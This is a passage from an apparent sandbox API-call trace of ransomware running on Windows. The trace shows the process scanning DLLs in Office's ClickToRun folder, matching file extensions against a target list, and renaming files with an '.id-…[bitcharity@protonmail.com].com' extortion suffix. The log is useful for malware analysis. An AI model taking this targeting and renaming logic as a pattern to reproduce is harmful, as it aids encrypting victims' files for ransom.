(lpString=".7z") returned 3 [0289.418] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0289.418] lstrlenW (lpString=".dbf") returned 4 [0289.418] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0289.418] lstrlenW (lpString=".1cd") returned 4 [0289.418] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0289.418] lstrlenW (lpString=".jpg") returned 4 [0289.418] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.419] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.419] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23 [0289.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0289.419] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=2285736) returned 1 [0289.419] CloseHandle (hObject=0x10c8) returned 1 [0289.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0289.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.419] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0289.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.420] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[bitcharity@protonmail.com].com"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 1 [0289.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0289.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0289.421] lstrlenW (lpString=".doc") returned 4 [0289.421] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.421] lstrlenW (lpString=".docx") returned 5 [0289.421] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0289.421] lstrlenW (lpString=".pdf") returned 4 [0289.421] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.421] lstrlenW (lpString=".xls") returned 4 [0289.421] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.421] lstrlenW (lpString=".xlsx") returned 5 [0289.421] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0289.421] lstrlenW (lpString=".ppt") returned 4 [0289.421] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0289.421] lstrlenW (lpString=".zip") returned 4 [0289.421] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.421] lstrlenW (lpString=".rar") returned 4 [0289.421] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.421] lstrlenW (lpString=".bz2") returned 4 [0289.421] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.421] lstrlenW (lpString=".7z") returned 3 [0289.421] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0289.421] lstrlenW (lpString=".dbf") returned 4 [0289.421] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0289.421] lstrlenW (lpString=".1cd") returned 4 [0289.421] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0289.421] lstrlenW (lpString=".jpg") returned 4 [0289.422] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0289.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0289.422] lstrlenW (lpString=".doc") returned 4 [0289.422] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.422] lstrlenW (lpString=".docx") returned 5 [0289.422] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0289.422] lstrlenW (lpString=".pdf") returned 4 [0289.422] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.422] lstrlenW (lpString=".xls") returned 4 [0289.422] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.422] lstrlenW (lpString=".xlsx") returned 5 [0289.422] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0289.422] lstrlenW (lpString=".ppt") returned 4 [0289.422] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0289.422] lstrlenW (lpString=".zip") returned 4 [0289.422] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.422] lstrlenW (lpString=".rar") returned 4 [0289.422] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.422] lstrlenW (lpString=".bz2") returned 4 [0289.422] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.422] lstrlenW (lpString=".7z") returned 3 [0289.422] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0289.422] lstrlenW (lpString=".dbf") returned 4 [0289.423] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0289.423] lstrlenW (lpString=".1cd") returned 4 [0289.423] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0289.423] lstrlenW (lpString=".jpg") returned 4 [0289.423] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.423] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.423] lstrlenW (lpString="AppVIsvVirtualization.dll") returned 25 [0289.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0289.423] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=567512) returned 1 [0289.423] CloseHandle (hObject=0x10c8) returned 1 [0289.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0289.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0289.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0289.424] lstrlenW (lpString=".doc") returned 4 [0289.424] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.424] lstrlenW (lpString=".docx") returned 5 [0289.424] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0289.424] lstrlenW (lpString=".pdf") returned 4 [0289.424] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.424] lstrlenW (lpString=".xls") returned 4 [0289.424] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.424] lstrlenW (lpString=".xlsx") returned 5 [0289.424] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0289.424] lstrlenW (lpString=".ppt") returned 4 [0289.424] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0289.424] lstrlenW (lpString=".zip") returned 4 [0289.424] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.424] lstrlenW (lpString=".rar") returned 4 [0289.424] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.424] lstrlenW (lpString=".bz2") returned 4 [0289.424] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.424] lstrlenW (lpString=".7z") returned 3 [0289.425] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0289.425] lstrlenW (lpString=".dbf") returned 4 [0289.425] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0289.425] lstrlenW (lpString=".1cd") returned 4 [0289.425] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0289.425] lstrlenW (lpString=".jpg") returned 4 [0289.425] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0289.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0289.425] lstrlenW (lpString=".doc") returned 4 [0289.425] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.425] lstrlenW (lpString=".docx") returned 5 [0289.425] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0289.425] lstrlenW (lpString=".pdf") returned 4 [0289.425] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.425] lstrlenW (lpString=".xls") returned 4 [0289.425] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.425] lstrlenW (lpString=".xlsx") returned 5 [0289.425] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0289.426] lstrlenW (lpString=".ppt") returned 4 [0289.426] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0289.426] lstrlenW (lpString=".zip") returned 4 [0289.426] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.426] lstrlenW (lpString=".rar") returned 4 [0289.426] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.426] lstrlenW (lpString=".bz2") returned 4 [0289.426] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.426] lstrlenW (lpString=".7z") returned 3 [0289.426] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0289.426] lstrlenW (lpString=".dbf") returned 4 [0289.426] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0289.426] lstrlenW (lpString=".1cd") returned 4 [0289.426] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0289.426] lstrlenW (lpString=".jpg") returned 4 [0289.426] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.426] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.426] lstrlenW (lpString="AppVManifest.dll") returned 16 [0289.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0289.427] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=1231576) returned 1 [0289.427] CloseHandle (hObject=0x10c8) returned 1 [0289.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0289.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0289.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0289.427] lstrlenW (lpString=".doc") returned 4 [0289.427] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.427] lstrlenW (lpString=".docx") returned 5 [0289.427] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0289.427] lstrlenW (lpString=".pdf") returned 4 [0289.427] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.428] lstrlenW (lpString=".xls") returned 4 [0289.428] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.428] lstrlenW (lpString=".xlsx") returned 5 [0289.428] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0289.428] lstrlenW (lpString=".ppt") returned 4 [0289.428] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0289.428] lstrlenW (lpString=".zip") returned 4 [0289.428] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.428] lstrlenW (lpString=".rar") returned 4 [0289.428] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.428] lstrlenW (lpString=".bz2") returned 4 [0289.428] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.428] lstrlenW (lpString=".7z") returned 3 [0289.428] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0289.428] lstrlenW (lpString=".dbf") returned 4 [0289.428] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0289.428] lstrlenW (lpString=".1cd") returned 4 [0289.428] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0289.428] lstrlenW (lpString=".jpg") returned 4 [0289.428] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0289.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0289.429] lstrlenW (lpString=".doc") returned 4 [0289.429] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.429] lstrlenW (lpString=".docx") returned 5 [0289.429] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0289.429] lstrlenW (lpString=".pdf") returned 4 [0289.429] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.429] lstrlenW (lpString=".xls") returned 4 [0289.429] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.429] lstrlenW (lpString=".xlsx") returned 5 [0289.429] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0289.429] lstrlenW (lpString=".ppt") returned 4 [0289.429] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0289.429] lstrlenW (lpString=".zip") returned 4 [0289.429] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.429] lstrlenW (lpString=".rar") returned 4 [0289.429] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.429] lstrlenW (lpString=".bz2") returned 4 [0289.429] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.429] lstrlenW (lpString=".7z") returned 3 [0289.429] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0289.429] lstrlenW (lpString=".dbf") returned 4 [0289.429] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0289.429] lstrlenW (lpString=".1cd") returned 4 [0289.429] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0289.429] lstrlenW (lpString=".jpg") returned 4 [0289.430] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.430] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.430] lstrlenW (lpString="AppVOrchestration.dll") returned 21 [0289.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0289.430] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=947928) returned 1 [0289.430] CloseHandle (hObject=0x10c8) returned 1 [0289.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0289.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0289.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0289.431] lstrlenW (lpString=".doc") returned 4 [0289.431] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.431] lstrlenW (lpString=".docx") returned 5 [0289.431] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0289.431] lstrlenW (lpString=".pdf") returned 4 [0289.431] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.431] lstrlenW (lpString=".xls") returned 4 [0289.431] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.431] lstrlenW (lpString=".xlsx") returned 5 [0289.431] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0289.431] lstrlenW (lpString=".ppt") returned 4 [0289.431] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0289.431] lstrlenW (lpString=".zip") returned 4 [0289.431] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.431] lstrlenW (lpString=".rar") returned 4 [0289.431] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.431] lstrlenW (lpString=".bz2") returned 4 [0289.431] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.431] lstrlenW (lpString=".7z") returned 3 [0289.431] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0289.431] lstrlenW (lpString=".dbf") returned 4 [0289.431] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0289.431] lstrlenW (lpString=".1cd") returned 4 [0289.431] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0289.431] lstrlenW (lpString=".jpg") returned 4 [0289.431] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0289.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0289.432] lstrlenW (lpString=".doc") returned 4 [0289.432] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.432] lstrlenW (lpString=".docx") returned 5 [0289.432] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0289.432] lstrlenW (lpString=".pdf") returned 4 [0289.432] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.432] lstrlenW (lpString=".xls") returned 4 [0289.432] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.432] lstrlenW (lpString=".xlsx") returned 5 [0289.432] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0289.432] lstrlenW (lpString=".ppt") returned 4 [0289.432] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0289.432] lstrlenW (lpString=".zip") returned 4 [0289.432] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.432] lstrlenW (lpString=".rar") returned 4 [0289.432] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.432] lstrlenW (lpString=".bz2") returned 4 [0289.432] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.432] lstrlenW (lpString=".7z") returned 3 [0289.432] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0289.432] lstrlenW (lpString=".dbf") returned 4 [0289.432] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0289.432] lstrlenW (lpString=".1cd") returned 4 [0289.432] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0289.432] lstrlenW (lpString=".jpg") returned 4 [0289.432] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.433] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.433] lstrlenW (lpString="AppVPolicy.dll") returned 14 [0289.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0289.433] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=1295576) returned 